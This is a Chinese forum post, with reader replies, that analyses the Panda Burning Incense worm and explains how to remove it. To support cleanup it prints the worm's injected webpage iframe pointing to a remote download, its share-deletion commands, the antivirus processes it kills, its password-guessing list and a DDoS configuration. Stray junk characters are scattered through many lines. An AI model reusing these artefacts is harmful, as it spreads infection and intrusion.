熊猫烧香病毒专杀及手动修复方案

鱼宝宝

介绍一下熊猫烧香病毒、熊猫烧香病毒变种的查杀方法，及熊猫烧香病毒的手动清除方案。提供了病毒进程为spoclsv.exe和FuckJacks.exe变种的解决方案，和熊猫烧香病毒专杀工具。

在动手查杀熊猫烧香病毒之前，强烈建议先注意以下四点：

1.本文包含两种熊猫烧香病毒变种的描述，请注意查看病毒症状，根据实际情况选用不同的查杀方法。

2.对于被熊猫烧香病毒感染的.exe可执行文件，推荐先备份，再修复！

3.找回被熊猫烧香病毒删除的ghost(.gho)文件，详情请见文中！

4.对计算机了解不多的用户，请在专家指导下清除熊猫烧香病毒。

熊猫烧香病毒变种一：病毒进程为“spoclsv.exe”

这是“熊猫烧香”早期变种之一，特别之处是“杀死杀毒软件”，最恶劣之处在于感染全盘.exe文件和删除.gho文件（Ghost的镜像文件）。最有“灵感”的一招莫过于在所有htm/html/asp/php/jsp/aspx文件末尾添加一段代码来调用病毒。目前所有专杀工具及杀毒软件均不会修复此病毒行为。需要手动清除病毒添加的代码，且一定要清除。否则访问了有此代码的网页，又会感染。其他老一点的“熊猫烧香”spoclsv变种的病毒行为比此版本少。就不再单独列出。

病毒描述：

“武汉男生”，俗称“熊猫烧香”，这是一个感染型的蠕虫病毒，它能感染系统中exe，com，pif，src，html，asp等文件，它还能中止大量的反病毒软件进程并且会删除扩展名为gho的文件，（.gho为GHOST的备份文件），使用户的系统备份文件丢失。被感染的用户系统中所有.exe可执行文件全部被改成熊猫举着三根香的模样。

以下是熊猫烧香病毒详细行为和解决办法：

熊猫烧香病毒详细行为：

1.复制自身到系统目录下：

%System%\drivers\spoclsv.exe（“%System%”代表Windows所在目录，比如：C:\Windows）
: H9 G; j" m( n8 `6 i不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。
& _7 ]( v2 Z* h, l! F
2.创建启动项：
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
　　"svcshare"="%System%\drivers\spoclsv.exe"
; `& ?. z% e) }3 E
+ X# w7 e0 M7 }4 \) M3.在各分区根目录生成病毒副本：　　X:\setup.exe
　　X:\autorun.inf
- J% E$ f, n, x0 J/ o/ I6 Z) n6 kautorun.inf内容：
[AutoRun]
6 c& e5 s# y% @$ F* x) \) I0 S1 S. Y　　OPEN=setup.exe
/ z: S; M  u7 S& v' S　　shellexecute=setup.exe
　　shell\Auto\command=setup.exe
  H& }2 [! d9 N" q8 [* V3 q
4.使用net share命令关闭管理共享：
  J+ m: }; m; ~cmd.exe /c net share X$ /del /y
　　cmd.exe /c net share admin$ /del /y

5.修改“显示所有文件和文件夹”设置：
5 T* t+ b  c& s[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
) Z# r$ k- c3 D9 X" m5 N　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
# C, k' B; I' P" |& C2 `　　"CheckedValue"=dword:00000000
- G3 o7 c3 ?. S5 d9 x0 O8 r6 q0 p
$ r+ p& j0 `/ `( u6.熊猫烧香病毒尝试关闭安全软件相关窗口：
天网
防火墙进程
VirusScan
( X3 h$ G( j  y) L+ N+ N+ [: bNOD32
6 i, k. h* l  K" e5 a7 P  X0 N网镖杀毒毒霸瑞星江民黄山IE
2 F7 U: K! K1 `. z7 z* I超级兔子优化大师木马清道夫木馬清道夫
4 I0 \% n% Z+ F- IQQ病毒注册表编辑器系统配置实用程序卡巴斯基反病毒
Symantec AntiVirus
8 t6 m$ m" ?% f( XDuba
Windows 任务管理器
esteem procs
4 r' ]8 P' ]* k& p! D4 y: g- b绿鹰PC
密码防盗噬菌体木马辅助查找器
3 m; M8 R) ?+ q6 CSystem Safety Monitor
" ^" S; d4 I! P' |3 A( Z2 A6 iWrapped gift Killer
Winsock Expert
6 E/ Q$ q; B" `. r游戏木马检测大师超级巡警
msctls_statusbar32
pjf(ustc)
IceSword
; [6 o/ q0 g# M+ S+ L% x5 x- @8 V
! h; _% s6 Z2 e0 }, {7.尝试结束安全软件相关进程以及Viking病毒（威金病毒）进程：
Mcshield.exe
( J5 O5 ?) P' N" d　　VsTskMgr.exe
8 K  s2 n4 R' B/ i+ k+ Q3 m　　naPrdMgr.exe
　　UpdaterUI.exe
4 O6 U9 K$ n$ [7 ]5 I/ E　　TBMon.exe
　　scan32.exe
+ L, `: X  X6 R+ i　　Ravmond.exe
　　CCenter.exe
! E$ v/ a$ V0 t) i8 O& q　　RavTask.exe
& s5 s4 K3 [+ S$ Q! Y　　Rav.exe
3 |" i3 P3 o% c$ ?0 s/ {; s7 F5 E　　Ravmon.exe
4 c& v$ n% G# c  n/ b　　RavmonD.exe
　　RavStub.exe
　　KVXP.kxp
　　KvMonXP.kxp
　　KVCenter.kxp
+ q4 P* {/ d: _. g; g, v! n　　KVSrvXP.exe
0 Q) [+ }( h! ]7 b" @' x　　KRegEx.exe
+ i4 \4 j9 D) f; ^　　UIHost.exe
5 ^9 S$ H7 S! s6 U4 v　　TrojDie.kxp
　　FrogAgent.exe
. I6 O0 R9 h( q/ N　　Logo1_.exe
　　Logo_1.exe
# I) p  w3 M, t4 p0 G6 Q　　Rundl132.exe
( b% A1 W* ~2 |/ R4 F5 i# H
8.禁用安全软件相关服务：
6 G$ \0 W: K2 O5 {0 b! ?Schedule
　　sharedaccess
% |1 L5 }" O# h" _5 {; }2 t& ]　　RsCCenter
/ D" f/ R7 X- r0 P' o* Z4 D* U1 ~　　RsRavMon
) @! E* Z0 _( `5 Q. k# f. K　　KVWSC
　　KVSrvXP
　　kavsvc
　　AVP
6 S8 X- {* m1 c2 p+ E' C　　McAfeeFramework
7 J* h# e) f% {; ~, }　　McShield
　　McTaskManager
  U; u9 G: J9 ~4 n- ~/ y7 Q　　navapsvc
+ `# Y3 Q0 z  R, l　　wscsvc
9 s; P* U$ ]8 R3 O　　KPfwSvc
: _; }7 b1 X5 @　　SNDSrvc
　　ccProxy
　　ccEvtMgr
7 t- J5 J: R- j2 X　　ccSetMgr
　　SPBBCSvc
　　Symantec Core LC
　　NPFMntor
　　MskService
　　FireSvc

9.删除安全软件相关启动项：
3 |+ ]% V  |5 b/ d, Z: fSOFTWARE\Microsoft\Windows\CurrentVersion\Run\RavTask
1 Q. r' ~6 r0 K, Y6 ]% k% J* y　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KvMonXP
- i& L9 \+ ^  S7 `" X/ c' G( f　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\kav
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\KAVPersonal50
: t( B/ x0 N; ^6 }# {　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\McAfeeUpdaterUI
& _) i+ ?: I! H% _! L" @　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\Network Associates Error           
' A# @9 s7 v( n" }' O0 oReporting Service
& t+ f+ R: {; G　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\ShStatEXE
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\YLive.exe
　　SOFTWARE\Microsoft\Windows\CurrentVersion\Run\yassistse
10.遍历目录修改htm/html/asp/php/jsp/aspx等网页文件，在这些文件尾部追加信息：
<iframe src="hxxp://www.ctv163.com/wuhan/down.htm" width="0" height="0" frameborder="0"> </iframe>
/ y2 N4 G0 U. a  d$ \但不修改以下目录中的网页文件：
8 E5 N2 d% f( {+ n* A* A8 QC:\WINDOWS
　　C:\WINNT
　　C:\system32
　　C:\Documents and Settings
5 X* h# ?3 d% J/ Q　　C:\System Volume Information
　　C:\Recycled
, Q) [4 m2 j8 _! ^' E* R　　Program Files\Windows NT
　　Program Files\WindowsUpdate
2 ?- |/ ~" @6 b% f- E　　Program Files\Windows Media Player
. C6 v5 ~" c% s& x　　Program Files\Outlook Express
　　Program Files\Internet Explorer
　　Program Files\NetMeeting
* y+ i4 m1 z4 e( r; B# q/ `# b　　Program Files\Common Files
　　Program Files\ComPlus Applications
' ?) b$ k% s- W6 h( I8 [0 v　　Program Files\Messenger
1 ^) t1 ^! s& n* l: f0 q　　Program Files\InstallShield Installation Information
　　Program Files\MSN
　　Program Files\Microsoft Frontpage
　　Program Files\Movie Maker
　　Program Files\MSN Gamin Zone
+ w: f$ {0 o9 m, n( B11.在访问过的目录下生成Desktop_.ini文件，内容为当前日期。
12.此外，病毒还会尝试删除GHO文件。
2 a& t& Y+ _2 |$ e$ ~( k病毒还尝试使用弱密码将副本以GameSetup.exe的文件名复制到局域网内其它计算机中：　　password
　　harley
　　golf
　　pussy
" |. s" u( p; B  `* }& U5 g8 {　　mustang
　　shadow
9 l% _# [8 Q1 Q7 r　　fish
* r& b( Q% e# p- x! ?　　qwerty
　　baseball
$ d2 ?  B4 e5 l　　letmein
4 o! X3 a: x" j8 r　　ccc
0 i2 m# O. E' x　　admin
( @  k: q" n, u% q% n　　abc
　　pass
　　passwd
; L$ A" J/ W, ~' }1 P: k; W　　database
　　abcd
. L1 X) G9 A5 a7 O, d8 d3 H　　abc123
　　sybase
0 ]: P5 C9 P* u, j　　123qwe
* P8 K* F* n' b8 X- Q4 |　　server
　　computer
% B% |* g8 v; T5 Y# D3 |　　super
　　123asd
　　ihavenopass
) a$ l- q, z" y# l$ P　　godblessyou
+ O1 y4 b& |* t- l　　enable
  |& I0 ]* A* G$ n　　alpha
　　1234qwer
  H7 h( ~# o* b; ~' _! ]　　123abc
　　aaa
　　patrick
: y  j- e6 R. Q! y　　pat
$ {% Z) e3 \; B! A' u1 s4 `# B　　administrator
  B5 m9 I% v6 I0 f　　root
) Q" r% g% K* R# [6 b7 n8 F　　sex
　　god
　　fuckyou
　　fuck
* P5 y. X! C4 B# z　　test
# \) o. ~3 J, t# B　　test123
　　temp
　　temp123
　　win
+ M% Q  s, A6 b" h　　asdf
4 n9 e! Y- l0 Q) \　　pwd
( ], Q7 u7 q! r/ w　　qwer
　　yxcv
( ^& u( z) ?& o. u- A　　zxcv
" x' |9 P( t" k) X　　home
. M' M$ W7 e" @0 ?; Z1 C9 y　　xxx
　　owner
  ]; G+ I0 z- O! w  C7 ?, x　　login
8 m$ w* `8 D  O; _0 g, K　　Login
1 g$ A8 x7 {$ c* o　　love
$ l  N/ O' l4 E( ]/ r　　mypc
! b% j& V3 W  c& X7 O  h, [　　mypc123
　　admin123
; v6 @' H7 l9 q, p, `+ `　　mypass
( d0 F4 S* j6 m. k1 p　　mypass123
- ?$ w6 S6 C& g+ A; i4 M2 Q. U( I　　Administrator
　　Guest
8 f8 g2 F' B; v3 k　　admin
7 \8 c! b* {& q, K% J& H　　Root

病毒文件内含有这些信息：

whboy
% U) @6 [/ A: x. O  A　　***武*汉*男*生*感*染*下*载*者***
  ]9 _! S6 j/ ~1 v! L* ]7 h解决方案：
( L3 T, E) T6 x( F
* \. ?7 ^( s. M) [8 a1. 结束病毒进程：
%System%\drivers\spoclsv.exe
; i. t& n1 h5 G, p- ]7 x不同的spoclsv.exe变种，此目录可不同。比如12月爆发的变种目录是：C:\WINDOWS\System32\Drivers\spoclsv.exe。但可用此方法清除。
* V1 C+ M) l8 G9 U; J5 [! N6 W8 H# e“%System%\system32\spoclsv.exe”是系统文件。（目前看来没有出现插入该系统进程的变种，不排除变种的手法变化。）
) X3 u5 k" z2 d- u: Z7 Z查看当前运行spoclsv.exe的路径，可使用超级兔子魔法设置。

# h9 d# a3 [3 L2. 删除病毒文件：
%System%\drivers\spoclsv.exe
+ Z8 C3 r5 ^5 @0 J" q, @/ s# ~请注意区分病毒和系统文件。详见步骤1。
/ P8 F6 X! v) b( m7 V) }. z
3. 删除病毒启动项：
8 T* ~5 ~4 F7 o0 o7 w8 S, ][HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
( Y0 a! g; Z6 }4 F　　"svcshare"="%System%\drivers\spoclsv.exe"
9 Y  _3 J% J9 e5 e. W+ j
7 @! h& D1 o  T& ~4. 通过分区盘符右键菜单中的“打开”进入分区根目录，删除根目录下的病毒文件：
" ?; G6 W( \; n' G, x- CX:\setup.exe
& D+ [  c1 |  J6 M! \8 x4 I2 J　　X:\autorun.inf
; Z5 }: `9 G0 F4 o1 q% C$ o
5. 恢复被修改的“显示所有文件和文件夹”设置：
[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion
" F- Y- `& D/ I/ x" K" s* q　　\Explorer\Advanced\Folder\Hidden\SHOWALL]
　　"CheckedValue"=dword:00000001

2 z( s: f, y7 C+ G& _: B/ x9 s6. 修复或重新安装被破坏的安全软件。
" G" `- \( b9 O8 D2 Z- @: Z1 i, @# }2 z
7.修复被感染的程序。可用专杀工具进行修复，收集了四个供读者使用。
金山熊猫烧香病毒专杀工具
% J+ r' t' |+ a& o5 \1 T0 ]2 ihttp://down.www.kingsoft.com/db/download/othertools/DuBaTool_WhBoy.BAT
安天熊猫烧香病毒专杀工具
http://www.antiy.com/download/KillPP.scr
+ i  l5 {: c7 M$ J. k6 x江民熊猫烧香病毒专杀工具
http://ec.jiangmin.com/test/PandaKiller.rar
瑞星熊猫烧香病毒专杀工具
: R% v+ D% D  T" R2 bhttp://download.rising.com.cn/zsgj/NimayaKiller.scr
。也可用手动方法（见本文末）。
# T  ]7 n4 d8 p
+ k2 z$ Y0 N: P! {2 u; r! R8. 恢复被修改的网页文件，可以使用某些编辑网页的工具替换被添加文字为空。机器上有htm/html/asp/php/jsp/aspx等网页文件，一定要删除此段代码。有危险代码的网页一但发布到网页可能会感染其他用户。

熊猫烧香病毒变种二：病毒进程为“FuckJacks.exe”

" J& J! \5 E; i: D% d以下是数据安全实验室提供的信息与方法。
病毒描述：
含有病毒体的文件被运行后，病毒将自身拷贝至系统目录，同时修改注册表将自身设置为开机启动项，并遍历各个驱动器，将自身写入磁盘根目录下，增加一个Autorun.inf文件，使得用户打开该盘时激活病毒体。随后病毒体开一个线程进行本地文件感染，同时开另外一个线程连接某网站下载ddos程序进行发动恶意攻击。
% d2 R3 E, G) N2 d# W! Y+ Y
' S! i4 T  L3 r5 A4 N4 ~3 N( s2 G2 b病毒基本情况：

% [1 w1 W! N& ]% K' ~. a' A[文件信息]

$ D2 m. r) U) n' U# I5 R" Q病毒名: Virus.Win32.EvilPanda.a.ex$
　　大小: 0xDA00 (55808), (disk) 0xDA00 (55808)
6 o; }& ^  ]# \+ n( a　　SHA1  : F0C3DA82E1620701AD2F0C8B531EEBEA0E8AF69D
　　壳信息: 未知　　危害级别：高

病毒名: Flooder.Win32.FloodBots.a.ex$
- j7 Q" H1 b/ A7 l　　大  小: 0xE800 (59392), (disk) 0xE800 (59392)
% Y1 d, V3 T7 p　　SHA1  : B71A7EF22A36DBE27E3830888DAFC3B2A7D5DA0D
' m" Y4 w0 _5 B　　壳信息: UPX 0.89.6 - 1.02 / 1.05 - 1.24
　　危害级别：高

* a+ q6 K/ p/ o2 m# m' {病毒行为：

Virus.Win32.EvilPanda.a.ex$ ：
7 @3 }2 `9 I, v
) V% D. R0 f+ ^4 m; [! S1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\system32\FuckJacks.exe


$ _, M) `8 A8 O$ M: ^3 O: ^) f　　2、添加注册表启动项目确保自身在系统重启动后被加载：
键路径：HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：FuckJacks
8 ?' W, P! M; j* t% v　　键值："C:WINDOWS\system32\FuckJacks.exe"

键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
/ R- \8 q& _# }$ M) V! N. k　　键名：svohost
9 X" p0 @5 ~+ c" k7 `+ [. u5 X　　键值："C:WINDOWS\system32\FuckJacks.exe"

3、拷贝自身到所有驱动器根目录，命名为Setup.exe，并生成一个autorun.inf使得用户打开该盘运行病毒，并将这两个文件属性设置为隐藏、只读、系统。
C:autorun.inf    1KB    RHS
　　C:setup.exe    230KB    RHS

! s; R! j6 W5 y0 @4 c4、关闭众多杀毒软件和安全工具。
2 R4 R) [" P! u3 o+ m9 a' w, E
3 k3 W, L; Z, S8 i, h5、连接*****.3322.org下载某文件，并根据该文件记录的地址，去www.****.com下载某ddos程序，下载成功后执行该程序。

1 `* [+ N, }; S1 w$ G6、刷新bbs.qq.com，某QQ秀链接。

7、循环遍历磁盘目录，感染文件，对关键系统文件跳过，不感染Windows媒体播放器、MSN、IE 等程序。

+ t) q$ @$ [3 O! g2 T  u6 yFlooder.Win32.FloodBots.a.ex$ ：

- z+ e2 {2 b8 A7 \1、病毒体执行后，将自身拷贝到系统目录：
%SystemRoot%\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）　　%SystemRoot%\system32\SVCH0ST.EXE（注意文件名中的“0”是数字“零”，不是字母“o”）
+ c% K# A2 K" y# K
2、该病毒后下载运行后，添加注册表启动项目确保自身在系统重启动后被加载：
& u; l7 \. ?, J/ c6 t2 K. _) f键路径：HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run
　　键名：Userinit
　　键值："C:WINDOWS\system32\SVCH0ST.exe"

8 M, e; v& H" G9 x( I" b3、连接ddos2.****.com，获取攻击地址列表和攻击配置，并根据配置文件，进行相应的攻击。
+ h3 K% M1 _* @' g配置文件如下：
2 i- \' a  M" swww。victim.net:3389
3 G/ b% I4 Q) e* n　　www。victim.net:80
　　www。victim.com:80
  I: U9 C5 V) j" O, A% s　　www。victim.net:80
　　1
( Z! h6 ?4 j' y' X　　1
0 H1 P* k4 @4 ?& m# g　　120
　　50000

解决方案：
4 e) G+ _9 y( r* b
6 ?* l  o' |% y3 V' u4 t! e1 K8 x, e1. 断开网络

. U$ H4 Z0 ?0 i2. 结束病毒进程：%System%\FuckJacks.exe
$ Q$ V# L* X, T  {2 G2 A( T( j5 w
3. 删除病毒文件：%System%\FuckJacks.exe
! B7 I! E) l8 y5 U$ }$ c5 J
4. 右键点击分区盘符，点击右键菜单中的“打开”进入分区根目录，删除根目录下的文件：X:\autorun.inf
! m) r) ^$ p5 B3 M0 K% G0 s) N  Z　　X:\setup.exe
& I# V' y- f- w! M- H" q
- f0 R/ F* z& N( p) b7 {5. 删除病毒创建的启动项：
' g- ^8 X+ h' Q0 \4 F  N[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
" ~2 J/ ]* J/ J) S: Y- H5 _; e　　"FuckJacks"="%System%\FuckJacks.exe"
& z; }9 d# d0 _- ]7 `4 S, f[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Run]
) P( l. h' A' @$ k- d# o) }; a　　"svohost"="%System%\FuckJacks.exe"
% O9 Y! Z* N2 i% _! x
6. 修复或重新安装反病毒软件

7. 使用反病毒软件或专杀工具进行全盘扫描，清除恢复被感染的exe文件。也可用以下的手动方法恢复文件。
: i5 d, D5 h' u( L
手动恢复中毒文件（在虚拟机上通过测试，供参考）

$ C# Y" Q: e( t7 M1.在清除病毒文件的同时不删除%SYSTEM%下面释放FuckJacks.exe的这个文件，即执行之前的步骤1、2、4、5。
; {& @% ^. F) H7 x
2.打开“运行”输入“gpedit.msc”打开组策略－本地计算机策略－windows设置－安全设置－软件限制策略－其它规则。在其它规则上右键选择－新散列规则－打开新散列规则窗口
; f! X2 M+ K( |& c) i" R( C, A8 {
5 b4 V4 |* I+ K. j3.在文件散列上点击浏览找到%SYSTEM%下面释放FuckJacks.exe文件。安全级别选择－不允许的。确定后重启。
3 @+ K0 v/ u7 }4 L2 k& C( X/ F
# K: A0 }( a% K8 C+ f& C- d4.重启后可以双击运行已经被熊猫感染的程序。运行程序后该FuckJacks.exe文件会在注册表里的Run键下建立启动项（不会有问题的）。

5.双击运行被感染的程序已经恢复原来样子了。全部回复后，用SREng把FuckJacks.exe在注册表里的启动项删除即可！

幻镜

其实还有一个很简单的方法可以将伤害降到最小。

就是将那个GHOST备份文件不要设置为后缀GHO
! w" A. L" [+ T
0 O5 H& i3 ^2 ^+ M你换一个后缀不就没事了吗？
恢复时后缀只是起显示作用
只要你选准正确文件就照样恢复

rulingdanny

很讨厌的病毒 最近中找了 真是对卡巴斯基越来越没有信息了 防御能力＝0

Sonic鼠

妈的我也中招了！！！
存的片子和游戏全没了！！气死我了！！！
* [' `2 T4 Z, w1 I' _; z这病毒出现后没想到是金山反应最快~
瑞星都没招真没用~~~哎…………火大啊……

bmx极限运动

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！

kk11qq

谢谢楼主的分享！！